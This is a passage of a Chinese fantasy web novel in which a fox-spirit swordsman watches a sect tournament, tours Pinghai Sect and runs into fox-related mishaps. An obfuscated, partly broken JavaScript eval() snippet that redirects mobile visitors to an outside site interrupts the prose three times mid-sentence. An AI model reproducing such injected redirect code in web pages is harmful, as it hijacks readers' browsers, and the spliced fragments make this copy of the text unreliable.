他无法安慰此时的宁希,毕竟他从前作为一只小菜鸟的时候,是同样紧张的;而至于日后成了江峰主,这种紧张的时刻,却变少了。 而他身旁的宁时则是拍了拍宁希:“没事,去吧。” “赢了之后把整个三月铺给你买下来。” 宁希听了,居然是欢天喜地的应了一声,又眨巴着眼睛看着他。 宁时:“……行了行了,等你比完了就先带你去里面挑一些。” 宁希便对他们笑了下,转过身提着摇光剑便跑了。 她今天穿了一身枫红色的劲装,和前几日同千机阁的人会面时是同一种面料。 但不再是那种繁琐的模样了,她可以迈开大步跑着,像一段红色的流云。 江晏望着宁希离去的背影,转过头问宁时:“三月铺是什么?” 宁时道:“你等一下。” 说罢,在口袋里翻了翻,拿出来一个小纸包,递给江晏。 江晏拆开,里面居然是品种琳琅满目的蜜饯。 宁时说:“吃吧,我已经买了好几包了——三月铺就是卖这个的。” “就是贵了一些,一颗青梅干要做两年呢。” “宁希爱吃,我想着我们看比赛的时候也许会无聊,也带过来了。” 能让悬水宫的长公子说出来贵,那应该是很美味了。 江晏闻言,低头取了一颗放在嘴里——果然贵的东西就是好吃。 宁时望着他腮边鼓鼓的,也就笑他:“我同平海宗说过,我比较爱吃鸡肉,希望用膳时里面的分量能多一点。” 江晏:…… 他有一点点不好意思,但宁时毕竟用的是自己的借口,于是这一点不好意思也就变成了甜丝丝。 就在江晏思考着要不要回去把狐狸尾巴变出来,奖励宁时摸一摸时,下面的场地中央,几位负责初试的弟子,敲响了钟。 ——这就意味着初试正式开始了。 宁希抽到的号码很是靠前,在第三名。 观众席层层叠叠有近百排,从上面走到下面,没一段时间是过不去的,于是她一人先坐在了前两排,方便随时上场。 而从江晏和宁时所处的中部略靠后的位置,甚至难以看到她的人影了。 演武场上,两名弟子中的一名,被另一人一枪挑到线外。 …… 比赛的进程很快,才不过用了半柱香的时间,便轮到了宁希上场。 江晏和宁时俱是直起身来,向场中看去。 宁希拔出了摇光剑,有红色的灵力顺着剑尖转了个圈,向上延伸到了剑柄上,最终钻回了她的袖口。 而站在宁希面前的那位弟子,看起来也是一名剑修。 他亦是拿起长剑,从背后弥漫开雾蒙蒙的绿色灵力。 ——这是一位木灵根的修士。 江晏看了眼宁时,只见他眉头似乎放松了些。 确实,宁希这次抽签运气不错。 五行相生相克,他们火灵根如果遇上了水灵根,打起来多少会有些吃力的;但如果面前的是木灵根,就会轻松一点。 当然,此处所说的轻松也只是相对而言,具体战况如何,还是要看双方的各自实力。 江晏把目光从宁时身上移走,继续看着宁希。 她的对手似乎是有些紧张了,比赛刚刚开始,就念了一长串咒语。 看起来是什么大招的前奏,只可惜他说得磕磕绊绊。 这么好的机会,宁希怎么会放过呢? ——毕竟如果真的遇到了对手,是不会留给人把咒语念完的时间的。 于是摇光剑出鞘,直直向那位弟子冲了过去——宁希的目标是他手中的剑,如果能用摇光剑挑飞他的武器,那可以不战而胜了。 摇光剑眼看着就要飞到这弟子面前时,变故陡生。 这弟子结巴了一下,口中的内容生生拐了个弯,于是他身后绿色的灵力不再有狂暴的攻击之势,而是颜色愈发浓重,像是变厚了不少。 而这变厚了的灵力,像花瓣一样缓缓聚拢在他身前,摇光剑撞在上面,发出轰然巨响,竟是难以再往前推进一丝一毫。 宁希:…… 她加大了灵力输出,额上已经开始隐隐冒汗。 而对面灵力罩的颜色也在持续加深。 两人僵持着。 台下的观众窃窃私语——参加初试的弟子们,由于实力原因,他们比赛的速度便分成了两个极端。 一种是瞬息定胜负,而另一种,则是双方拉锯一样耗着。 宁希和她的对手,隐隐有后一种情况的势头。 而这种局面却没有往观众想象中的消磨一天的程度上发展。 不过又过了半烛香的时间,那弟子身上的绿光一闪,接着瞬间溃散,外人向里面望过去,只见其中的人影缓缓倒地! 宁希大惊,一面操控着摇光剑飞回腰间,一面跑到对方面前查看。 而刚刚看到这异状的不只有宁希,在一旁候着的医师和修士全都围了过来,向中间看去。 那弟子倒在地上,面色苍白,嘴边似乎有血迹,但他居然还是清醒的。 见这么多人上前,他长长“呃”了一声,似是有些紧张。 宁希蹲在他旁边嚎了一声:“道友你怎么了!” 弟子颤抖着伸出手,摆了摆:“无事……是我自己的原因。” 医师根本不听他的话,而是一把抓住他已经伸出来的手,把脉。 于是这弟子只得抬起另一只手,再次摆摆:“是因为我刚才咒语念错了两个地方,有一点点反噬……” 宁希:“可是我都没有看出来欸。” 弟子嘴角抽搐:“因为我在忍着,而且犯了错会被师尊骂的,”他转了转眼珠,似乎是在围观的众人中寻找他的师傅。 片刻后呼出一口气:“还好还好,没有被师尊看到。” 众人:…… 这真是一个心大的孩子。 心大的孩子被医师抬下去,宁希赢了一场比赛,也蹦蹦跳跳地离开演武场,去找她的亲哥和狐狸哥了。 这一日的初试,是单人赛。 在来来回回比赛了好几轮之后,宁希获得了晋级正式会试的可能。 之所以说是“可能”,是因为初试中,也有着团体赛。 只有在团体赛中也获得一定的名次后,才拥有了参加会试的资格。 由于团体赛从比赛形式再到比赛地点,所涉及的内容都要比单人赛更复杂一些,因此时间大约在单人赛成期定下来的一旬后。 两场比赛之间就差这么十天左右,各个宗门的修士都是远道而来,平海宗便邀请他们继续在宗门内住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015409|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着。 不仅如此,还可以在专门弟子的带领下,参观一番平海宗。 俗话说得好,来都来了。 于是宁时,宁希和江晏三人聚在一起,叽叽喳喳讨论起来要选择哪一天去参观。 他们说话间,院门发出轻微一声吱呀,两扇木门缓缓打开——是宋游回来了。 三人冲他热情招呼,江晏也是笑着的,只是见了对方的脸,便想起他口中那位“师姐”,也就是那位在故事中宁希的竞争对手。 尽管有啾啾的保证,但剑修向来喜欢掌控一切,此时未明内情,他内心总隐隐有几分摸不着底的不踏实。 但鉴于此事重大,江晏决定先自己摸摸底,看情况在决定是否告诉宁时宁希。 毕竟这两人一个是病秧子,一个在考试中,还是不要让他们产生大幅的情绪波动了。 江晏活了几辈子,掩饰情绪完全是小事一件。他心思千回百转,面上却继续同三人谈笑风生。 几句话之间,宋游几乎是立即就搞明白了他们想参观平海宗。 这位少年拍着胸脯,热情道:“择日不如撞日,正好我今天没什么事情,不如我带你们去转转吧!” 宁时疑惑道:“不是说要由专门的弟子带着吗?” 宋游就笑了,露出整齐的门牙和两颗尖尖的小虎牙:“嘿嘿,我是恒阳峰上真人的关门弟子,带几个朋友自然是可以。” 宁时没料到他说出此番话,也笑了:“那就劳烦了。” 宋游见他答应下来,便“耶”了一声,带着几人出了门。 江晏看着他的动作,只觉得对方刚刚那一声叹词,在熟悉中又有几分违和。 他一边想着,一边听宁希问:“宋道友,平海宗平时修习安排这么满的吗,我们在这里住了一段时间,第一次听到你有空欸。” 宋游已经带几人来到了崖边,闻言回过头来,露出了一个有点不好意思的笑:“这个问题我等等在回答哈,我要先想一下御剑的口诀。” 剑修江晏:…… ——没事的,这还好不是合江宗恒阳峰上的傻孩子。他如是安慰自己。 只见面前的宋游拿起长剑,这剑通体如寒霜铸成,只是在剑刃处带了一圈金边,看起来倒是有几分精致。 宋游将剑浮起,口中叽里咕噜念了一段不知名咒语后,这长剑变大了数倍,足够四人同乘了。 几人一一上去站稳,宋游便催动其升空,一面扭头,回答宁希刚才的问题:“其实一般来讲,我们是不会这么忙的。” “前几日里,我也确实没课。” 宁希大大咧咧:“那你是玩去了吗?” 宋游突然羞涩起来,他支吾道:“没有。” 由于几人毕竟是第二次见面,还没有太过熟悉,宋游这么答,谁也没有追问。 可宋游自己却憋不住了。 他顿了顿,眼睛亮晶晶的,眉毛几乎扬了起来,补充说:“我在请慕师姐帮我补习剑法,耶!” 宁时和宁希都听出了他语气中无形的粉红泡泡,不由得齐齐扶额。 至于江晏,他突然间就对两件事恍然大悟了: 其一,宋游应该是很喜欢慕青。 其二,宋游……可能不是修真界的人。 ——毕竟“耶”这个语气词怎么看都不像是修士能说出来的,倒是很像分魂第一个小世界里的说法…… 江晏在震惊中有些木然了。 他想,啾啾果然说的没错。 这次的世界里,每个人的身份都不一般。 147. 平海宗一日游 四人站在飞剑上,山间的风带着草木潮湿的水汽扑在脸上。 宋游位于最前面,对下方的景物指指点点,像三人介绍着: “我们已经离开了住宿的那座山头,前面就是彤谷。” 宁时闻言,看了江晏一眼,嘴唇一张一合,无声地做了几个口型。 江晏看懂了,宁时说的是: 不知道这个地方会不会也有小狐狸。 他就有点想笑了。 而旁边的宁希则是问出了二人的疑惑,她对宋游道:“这个地方是做什么的呀?” 宋游回答:“噢,其实你可以把它当做类似于恒阳峰的一种管辖范围或修炼风格。” “在这边,师姐师妹比师兄师弟多一些。” 他口中既然提到了“师姐”,江晏心思动了动,明知故问:“刚刚我听你提到慕师姐,她也是这里的吗?” 和他设想中一样,宋游果然打开了话匣子。 他说:“哦,慕师姐和我一个师傅,我们都在恒阳峰上。” “谢乘风是大师兄,她是大师姐……” 宋游的性子有些跳脱,说到这里,脚下的飞剑竟是直接拐了个弯。 他对众人道:“这里距离恒阳峰也近,不如我带大家上山上看看?” 宁时看着他,有些疑惑:“我们就这么御剑上去吗?我曾听闻平海宗内不得御剑上山。” 宋游嘿嘿一笑:“那可多亏了这次的初试啊,来了好多人,连带着我们的规矩都放宽了——总不能让客人不方便吧。” 他说罢,飞剑愈升愈高,几乎能看到恒阳峰山顶上错落在林中的房屋了。 至于四人脚下,已经是一团云雾,看不清地面了。 宋游的剑带着几人缓缓靠近山体,于是品种不同、高矮各异的树冠,像水流一样流过剑底。 他们最终停在了一片竹林上。 江晏打量着,只见竹林中蜿蜒出了五条小径,各自通向一座院落。 宋游对着下面指指点点:“这就是我们五个弟子的住处了。” “谢师兄你们应该是见过的,他一直有些忙,这个时候应该不在房中,在帮着长老们安排初试和会试的事。” 他又指向另外几间院子:“杜师兄的,你们进来时用到的指引符是他的。” “廖师兄,现在应该在他的草药园子里——负责比赛中的治疗。” 他先介绍完了这三位师兄,最后望着师姐的屋子,嘴唇动动。 那屋子位于山崖边,隐约能看到苑中的红梅摇曳。 江晏瞧着宋游,只觉得他这副模样有意思极了——他好像在准备着什么极度重要、压轴一般的句子似的。 最终,宋游小声说:“这是慕师姐的房间,今天是她的休息日,我们远远看一眼即刻,就不必打扰了。” 说罢,转过身来,再次催动巨剑腾空而起。 不知为何,江晏只觉得有一种莫名的力量,让自己回头,看着那被树枝掩映的门扉。 木门轻轻动了,打开了一道小缝。 先出来的是白色下裳,接着是腰间浮动的浅蓝色衣带。 最后出现了一张雪白的脸,美人推开门,漆黑的眼珠动了动,面无表情地看向上空。 这一瞬间,江晏知道,对方也看见他们了。 而他意识海中安静了许久的啾啾,突然出声。 它语气有些不同寻常地严肃:“这个地方……我得和你说一件事。” 江晏正欲答应,而此时,他身边的宁希小声惊呼了一下。 宋游听到了动静,转过头来:“怎么了?” 宁希干咳一声:“无事……只是不小心挂到了自己的头发。” 宋游不疑有他,便道:“那确实很疼了,不过修真界真好啊,不必担心脱发。” 说罢,又转过头去,口中念念有词,继续用他那不太熟练的法术操纵着飞剑。 而在他身后,宁希则是轻轻呼出了一口气,捂了把脸,最后想到什么似的,戳了戳她哥和狐狸哥。 宁时和江晏齐齐聚过来。 宁希不发一言,只是伸出手来,掌心中跳动的火苗颜色深深浅浅变幻不停,最终组成了几句话: 你们看到那位师姐了吗? 还记得我讲的那个故事吗? 她和里面提到的画像一模一样。 就是那个人。 这几行字出现的时间极短,但足够让二人看清。 一时间,江晏甚至把啾啾说到一半的话抛到了脑后,只是看着宁时。 而宁时又看着宁希。 宁希咬咬嘴唇,最后还是在掌中写道: 无事,故事只是故事,我是不会随便喜欢上别人的。 几人面面相觑,相顾无言,显然脑中都在急剧思考。 …… 飞剑却是继续飘着,宋游盛情邀请的声音随风传来,打断了他们的思绪: “好像好玩的地方不多,那我们还是去灵兽园吧!” “那里有各种各样的奇珍异兽,大人小孩都爱看呢。” 这似乎是对了宁希的胃口,她已经瞬间凑到了飞剑前,和宋游聊起里面的内容了——毕竟悬水宫在经历了彤云化形一事后,已经严禁所有弟子捡回路边的小动物了。 每个离谱的规定后面都有离谱的事件,宁希的养宠梦就此夭折。 而江晏见了宁希的表现,自然是想起了悬水宫这段宫规的出处,不由得有些心虚地瞧了宁时一眼。 宁时便自然而然地又摸了摸他的头。 在这片祥和的氛围中,啾啾终于再次出声,幽怨极了:“……所以,你还记得我说到一半的话吗?” 江晏:…… 他确实是差点忘了,但口中还是道:“哪里的话,你继续讲。” 啾啾也不拆穿他,只是讲:“我和你说过,这次小世界的背景的。” “之前包括宋游这几位弟子,我都是只见了一面,还不能分辨出他们身上的气息……或者,系统。” “但这次你们相处的时间长了,我知道了答案。” “宋游,应该是穿书的。” 江晏平静道:“你是说这个啊,我猜到了——哪有修士像他这样说话的。” 啾啾只是无奈地看着他。 江晏的话突然就噎住了,他意识到了什么:“等等,穿书?” 啾啾叹气:“所以说,这就是第二个问题了。” “刚刚那位师姐,你见到了。” “她是重生的,要改写世界意志,这就是这个世界不稳定的主要根源。” “顺便说一下,世界意志看她不顺眼很久了,你离她远点,我怕她渡雷劫的时候顺便把你一起劈了。” “啊,说远了……继续, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020383|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们途中遇到的灰雾,就是世界不稳定的产物。” 江晏几乎下意识道:“那要是按剧情,世界不就稳定了,”他瞬间又想到了什么,话头拐了个弯,“不对。” 啾啾望着他:“是的,你已经能推断出什么了。” 江晏感觉自己想骂人了,他几乎是咬牙切齿了:“按照剧情,世界稳定,但宁希就……分魂的心愿还同他妹妹绑在一起,搞不好我要陪分魂和妹妹一起完蛋。” “不按剧情,所有人随时可能被灰雾吃掉,还是完蛋。” 啾啾长叹:“这种手心手背都是屎的感觉……” 江晏:“算了,我选后一种。” 啾啾:? 江晏理直气壮:“反正世界是大家的,对吧?” “世界要毁灭,也不是我一个人的事,肯定会有人要帮忙的。” “你也说过,有人会拯救世界的,对吧?” 啾啾:…… 完全无法反驳呢。 江晏不想再思考这个有些沉重的话题,他只是望着两侧不断掠过的风景,默默拉着宁时。 ……但一边还是在心里把这个小世界骂了千万遍。 而宋游所驾驭的飞剑,此时来到了一片山谷上方,缓缓降落。 宁时道:“这里便是灵兽园了吗?” 宋游收起剑挂在腰间,回答:“是了。” “灵兽园依山而建,各种地形都有,适合不同种类的灵兽生存。” 说罢,向守在门口的两位第一次说明了自己的身份和来意,领着三人进去了。 这灵兽园确实如宋游所说,里面有许多平时难以见到的珍奇品种。 比如说浑身长满了珍珠的飞鸟,浑身包裹着一层火焰的巨兽……让人目不暇接。 宁希一时间看呆了。 她望着面前浑身长满了透亮蓝宝石的孔雀,眼神发直。 宋游见她这副孩子气的模样,也笑了:“比较有意思的品种都在这里了,其他的地方就是一些寻常的小动物和灵兽了。” 江晏:“比如?” 宋游想了想,道:“像什么兔子啊,山猫啊,还有狐狸之类的。” 江晏:…… 宁时和宁希却齐齐抬头,看着宋游。 宋游有点摸不着头脑:“怎么了?” 这次是宁时说话了。 他温言道:“啊,是这样的。” “我这个人,比较喜欢小狐狸,也想去看一看。” 宋游爽快道:“正好,那几只狐狸有火狐和白狐。” “长的都可好看了,有的还有两三条尾巴呢。” 说罢,带着三人向所说的方向走去。 而他身后,江晏听了他刚才的话,便突然想起来一件事。 于是他戳了戳宁时,操控灵力,在手掌心浮现了一句话给他看: 你都不让我变成狐狸,我到现在都不知道自己修炼到几条尾巴了。 宁时见了,脸色几度变化,似是有自豪、怜爱、愧疚等等情绪掺杂。 他抬起头看着江晏,欲言又止。 江晏:? 宁时深深看着他,最后是从储物袋中掏出了个传音法器,借助它对江晏道: “彤云啊,咱们作为一只普通的小狐狸能化形,已经很厉害了。” “不用去追求有几条尾巴了,真的。” 148. 狐狸园中摸狐狸 江晏沉默了。 宁时这番话,虽然明明是好意,但也确实在说,他现在的身体只是一只普通的狐狸,修为受限。 即便在这个小世界中,江晏只顾陪着宁时,并没有花什么精力在修习上,但作为合江宗的一峰之主,听到这番话,他还是难以接受的。 他嘴角抽动两下,对宁时扯出一个笑后,便用意识体去找啾啾了。 脑海深处,啾啾散漫的声音响起:“分魂说的没错,你这个身体,原本就是一只普通狐狸,甚至连妖兽都算不上。” “但是,”小鸟话音一转,“你修为强大的神魂又弥补了这一点。” “所以连带着小狐狸的上限,也变得不可估量了。” 说完,啾啾拍了拍江晏:“真的好期待看到江峰主的几条尾巴呢……欸,别打我啊!” 江晏木着脸收回了敲啾啾脑壳的那只手,转而看向面前——是了,宋游已经将三人领到了狐狸园中。 这处的狐狸完全是散养的,在一片矮灌木丛中,能看到一截又一截颜色各异的尾巴。 火红的,火红末端带一点黑的,纯白的,白色末端带一点火红的…… 有数不清的小狐狸在这片地方。 宁希两眼冒光,几乎是迫不及待地上前,抱起一只棕红色的小狐狸,一下一下摸着。 江晏看了她一眼,又别过了视线——他似乎借着宁希,幻视了他从前作为一只狐狸时,被宁时抱着的模样。 而宁时也在看着宁希,却是笑眯眯的。 他口中说着“哎呀,我也想抱一抱小狐狸呢”,目光却是看着江晏的。 江晏:…… 我难道是什么大型安抚毛绒玩具吗? 他轻轻踩了一脚揶揄着他的宁时,向前去看那些真·小狐狸们,只留给对方一个背影。 果然,在他迈出去十来步后,身后传来了细小的树枝折断的脆响。 宁时也跟了上来。 他站在江晏身边,陪他一起蹲下,看一地动作各异的狐狸们。 江晏伸出手指,戳了戳离自己最近的一只、正露着白肚皮的雪狐。 软绵绵的,热乎乎的。 ……确实是有些舒服,江晏大概明白宁时为什么这么喜欢自己的狐狸形态了。 就在这时,江晏只觉得自己手指突然一紧。 他一头雾水看去,只见自己的手上覆盖了另一只稍大的手,这只大手还正牵引着自己离开白狐。 白狐失去了抚慰,动作停顿了一下,随即一咕噜站起,抖了抖皮毛上沾的灰尘,迈开长腿跑远了。 江晏:…… 他仰起脸看着宁时,开始控诉:“为什么不允许我摸狐狸?” 宁时看着他的脸,又看向刚才白狐跑远的方向,最终还是转回脸,对江晏一本正经道:“那是一只女狐狸,男女有别。” 江晏被他的春秋笔法震惊了——还有谁能把吃醋说得这么理所当然、有理有据的? 江晏决定,他要开始反抗。 满园子的狐狸都在他眼前,于是江晏几乎是立即想到了一个自认为绝妙的主意: 他要去摸男狐狸了。 ——宁时既然说男女有别,不许他摸女狐狸,那他摸男狐狸总行了吧? 说干就干。 他随手捞起身旁一只火红的男狐狸,先对着狐狸脑袋揉搓了一番,又顺势摸起了狐狸的肚皮。 宁时:…… 他旁观着自己小狐狸的动作,脸上的表情扭曲了一瞬。 江晏却还望着他,笑眯眯的:“哎呀,这可是一只男狐狸呢。” 宁时盯着他,几乎是从牙缝里挤出来几个字:“男狐狸也不行。” 江晏瞧着他这副样子,玩心大起,道:“怎么就不行了?” “男男也有别的,”宁时抓住了他的一另只手腕,“别和我说你不知道。” 可能是现在的氛围太好,江晏眨眨眼睛,用声音给宁时传了一句话。 他说:“现在知道有别了。” “从前你搂着我睡觉的时候,怎么不说这个?” 果然,宁时肉眼可见地明显僵硬住了。 江晏正沉浸在“扳回一局”洋洋得意的喜悦中,宁时却迅速观察了一番周围的环境,见四下没有人注意到他们这处,便以迅雷不及掩耳之势,伸手捏上了江晏的后脖颈! 江晏:! 小狐狸的脖子摸不得,在变成人之后也是。 尤其宁时的手还不安分,他若是单纯的捏一捏后颈就算了,江晏想,自己就全当按摩了。 但是,这分魂的手却像摸小动物一样,顺着他的脖子一路呼啦下去了。 即使是隔着衣服的布料,江晏也能感受到他的手掌热乎乎的,几乎把自己每一段脊柱都捂暖和了。 江晏:…… 他只觉得有股奇奇怪怪的感觉直冲天灵盖,一时间僵在了原地。 ……果然,不可以高兴得太早。江晏如是想。 他蹲在地上,准备等这阵奇异的感受过去后再站起来。 却不料,他手下的那只男狐狸感受到了他的僵硬,抬头看了他一眼,站起身来。 狐狸瞪着漆黑的眼,用覆盖着一层细密绒毛的狐狸嘴蹭了蹭他,粉色的小鼻头抽动着。 江晏:有点可爱啊。 但他感慨早了。 这只男狐狸突然间转身,用尾巴对着他。 一瞬间,狐狸尾巴抬起,而后腿抖动着——这狐狸分明是要一泻千里了! 江晏并不了解这种动物的习性,只是愣在原地。 而宁时由于养了一只假狐狸,也不曾见过这种场面,便也是呆呆地陪着江晏蹲着。 只有把目光终于转移到了他们这边的宋游:…… 他发出尖锐爆鸣,迅速地冲过来,一边打出一道灵力,隔绝了那狐狸产生的东西。 ……浅黄色的液体从灵力罩上缓缓流下。 狐狸做完了这番坏事,甩甩尾巴,踢踢后腿,头也不回的一蹦一跳跑远了。 只留下崩溃的宋游和面面相觑的宁时江晏。 两人这才反应过来发生了什么。 江晏拉着宁时,缓缓站起身来,呆滞地望着狐狸的身影,颤声道:“不是,它刚刚在做什么?” 宁时的嘴唇也是抖的。 他还未说话,宋游先回答了,声音中透着一股恍惚: “啊,你们懂的,这种动物,一般见了喜欢的东西,就会这样……” “算是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025296|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个标记吧,”宋游扭过头来看着二人,眼睛瞪得圆圆的,“但是,但是你们都是人啊!狐狸怎么会对人这样呢!” 江晏:…… 他有点心虚了,但宋游这一番话也算是让他听明白了——刚才那一只男狐狸,是把他当成追求对象了。 江晏默默无语:这狐狸居然是个瞎的,分不清男女。 他漫无边际的想着,而他身边的宁时却发话了。 他说:“也罢……想来我这位朋友确实不仅招人喜欢,也招小动物喜欢。” 说完,深深看了江晏一眼。 江晏想起宋游刚刚的解释,再结合分魂的眼神,不知怎地,他油然生出了一种“可能要完”的忧伤。 宋游撤去了灵力屏障,于是那男狐狸留下的异味便闯进了众人鼻中。 这次,就连刚才一直在旁边较远处的宁希也察觉到了。 她转过身来,扬声:“你们在干什么?怎么有这么大的味道呀?” 众人:…… 宋游只得对她挥挥手:“没什么事,你就不必过来了。” 宁希“噢”了一声,抱起双臂站在原地,远远看着他们的东西。 宋游转过身来。 江晏只见他挠了一把头发,口中略带急促地自言自语:“……还是不熟练。” “如果熟练的话,我应该能在支起灵力罩的同时,打出去一个清洁咒。” “天呐,我怎么可以这么垃圾啊。” “这样下去,会试怎么办,师姐又会怎么看我?” 他边说着,边使用灵力将此地清洁了一番。 而在江晏身边,宁时问:“垃圾,是什么意思?” 江晏本欲解释,但想起自己此时的身份已经不是第一个小世界里的了,便闭了嘴。 至于宋游,他听了这句话,一下扭过头来,露出了一个尴尬的笑。 已经知道真相的江晏:…… 他只是静默着,准备看这傻孩子如何应对。 宋游果然是张口就来:“啊,这是之前我出去游历时,路过某个村庄学到的方言。” 宁时却是信了,他点点头,又问:“那是什么意思呢?” 宋游:…… 他这下算是卡壳了,眼珠转了几圈,才道:“就是对自己修为不满意的意思。” 宁时恍然大悟:“原来如此,”又看向江晏,“我确实对我的修为不怎么满意,所以我可以说……” 江晏和宋游同时瞳孔巨震! 到底还是江晏眼疾手快,先宋游一步,捂住了宁时的嘴。 宁时:? 他神情看起来很是迷惘。 江晏扶额,一面放开他,一面对宋游说:“咱们能教他点正经的东西吗?” 宋游尬笑一声,正欲解释,却瞬间反应过什么,猛然抬头看着江晏! 江晏自然知道他内心所想——自己既然知道这个词的解释不对,那就说明自己和宋游的世界有关。 只是平海宗的这位师弟看起来完全没有认亲的意思,他最终只是干咳一声,垂下眼,小声说: “哈,刚刚是开玩笑的。” “这个词不是什么好词。” “尤其是不要用它来说自己啊。” 149. 不同寻常的时期 经过这一段小插曲后,几人平海宗一日游项目,最终是结束了。 宋游将几人送到住处后,挥手道别,便又返还了恒阳峰。 于是这处院落便只剩下了悬水宫三人。 宁希托腮,望着江晏,对他哥道:“我也真的很想养一只这样的狐狸嘛……欸,哥你别打我啊!” 她哥收回了敲了敲她头顶的手。 …… 平海宗的饭菜换了几轮,时间终于到了宁希的团体赛,也是最后一场比赛的前夕。 是夜。 江晏从一阵古怪的感受中醒来,他身体未动,只是掀起眼皮看了眼躺在自己身边的宁时。 宁时双目紧闭,睡得正熟。 江晏便无声地叹气了——这几日里,他总是感觉身上不太舒服。 有时候是头晕脑胀,有时候则是感觉血管在跳动,里面的血在沸腾,将热意带到全身。 江晏起初还在惊喜,以为是自己妖力大涨的征兆,但观察几日后,他的修为依旧平静,但这种不适症状却加剧了。 就正如此刻,他睁着双眼望屋顶,但全身发烧一般烫,有点像他从前在第一个小世界,遇到难以解决的题目时,做到红温的状态。 这情况前所未有,江晏试图从记忆中搜寻一番关于妖修的知识——从前他使用这只狐狸的身体,可以说是顺手极了,以至于他总是忘记这身体本质是一只狐狸。 ……检索失败。 可惜,江晏想,自己从前并不算了解狐狸的习性,自然也不会明白这究竟是怎么回事。 他静默地翻了个身,试图将身体更多部分暴露在空气中,以期获得一丝微弱的凉意。 窗外繁星点点,和每一个世界的天空并无不同。江晏看着,突然就想到了陪他走过大小世界的啾啾。 解决方案或许要有了。 他从意识海中把啾啾拽起:“我这个狐狸身体好像有点情况不对。” 啾啾看了他一眼:“我怎么看不出来,你的耳朵又没有重新冒出来。” 江晏:“不是外形方面的,我感觉最近这个身体总是有点热,但这种热和修为毫不相关。” 啾啾本是散漫地走来走去,听他说到这里,眼睛一下子睁大,扑棱着翅膀就飞到江晏意识体的肩头。 “别乱动,”这只小小鸟说,“我要探查一下你的肉身,来排除那种……狐狸精才有的情况。” 江晏:? 他有些搞不清情况,但依然能感觉到有一种不太美妙的预兆。 不过瞬间的功夫,啾啾似是已经结束了观察,轻轻“啧”了一声。 心中那种不太美妙的预感似乎加剧了,江晏问:“这到底是怎么一回事?” 啾啾用翅膀捂了下自己的脑袋——看来就连神器也挺头疼这种状况的,它说:“这些年你用这狐狸的身体,一切都太平静了,以至于我们都忘了,狐狸还有一个时期。” 江晏还没有反应过来,问:“什么时期?” 啾啾看了他一眼,决定还是对剑修委婉一些,它斟酌了下措辞,道:“嗯,就是那种春天,万物复苏开始孕育新生命的时期了。” 江晏:…… 他可算是听懂了。 剑修瞳孔巨震,他张了几次口,最终脱口而出:“就算是这样,现在也才是秋天,这怎么会!” 啾啾用翅膀拍了拍他意识体的肩,语气充满怜爱:“毕竟你从来没有过……许多年的情况攒在一起,无论是在哪个季节发生,都会是很合理的吧。” 江晏简直被这身体气笑了:“安稳了这么多年,怎么会突然不正常——不对。” 他想到了什么,眼睛罕见地睁圆了:“我前几日去了狐狸园!” 事情有了眉目,江晏推理下去,只觉得愈发合理:“我作为一只狐狸时,一直被养在宁时身边,连外界的人都基本没有接触过,更别说接触同种族的狐狸了。” 他深吸了一口气:“至于前几日在狐狸园,那只男狐狸,明显正处于求偶阶段。” “气息必然和往常不同,再加上其他杂七杂八的狐狸气味,”江晏扶额,“这具身体就这样被影响了。” 啾啾静默着听他说完这一长串,点头:“确实是这个道理,但是,”小鸟话锋一转,“现在来追寻原因,已经有些晚了。” 江晏摊手:“所以我才把你叫过来,让你帮忙解决我的问题。” 啾啾:“……不,这没什么办法的。” 江晏:? 啾啾解释:“这是一种自然现象啊,你顶多只能用意念,或者是你的神魂克制一下,等待情况自然消退。” 江晏“呵呵”一声:“我就是受不了了才找你的。” 啾啾对他翻了个白眼:“你要是这么说,还有另外一种方案。” 江晏:“你说。” 啾啾却是放开了扒在他发丝上的爪子,整只鸟飞了起来,在江晏意识体斜上方扬声道: “或者你就是遵从狐狸精的本能,找一个伴侣,然后做一些应该做的事,”啾啾的声音中带了几分调笑,“然后你的发热就全部消散了——” 江晏:…… 剑修一向清冷自持,何时有人会把这些话直接摆到他面前? 一时间,他整个人都石化了。 但这个世界里,狐狸精的身体上却依旧是潮热的。 和他清清静静的意识体完全不同。 一时间,江晏居然产生了类似于“恼羞成怒”的情绪。 他肃着脸,作势去抓那口无遮拦的小鸟,却没有抓到,啾啾已经拍着翅膀飞远了——是了,怪不得它在说刚才那番话时要先飞起来。 啾啾离开了,江晏的意识体在原地转了两圈,最终还是沉入了这小狐狸的身体里。 他继续睁着双眼,看着窗边透着的天光,一面忍着全身的难受。 在刚才和啾啾交谈之前,他完全没有意识到这发热究竟是怎么一回事。 而啾啾点明之后,江晏此时躺在床上,便愈发感觉到不对劲的地方。 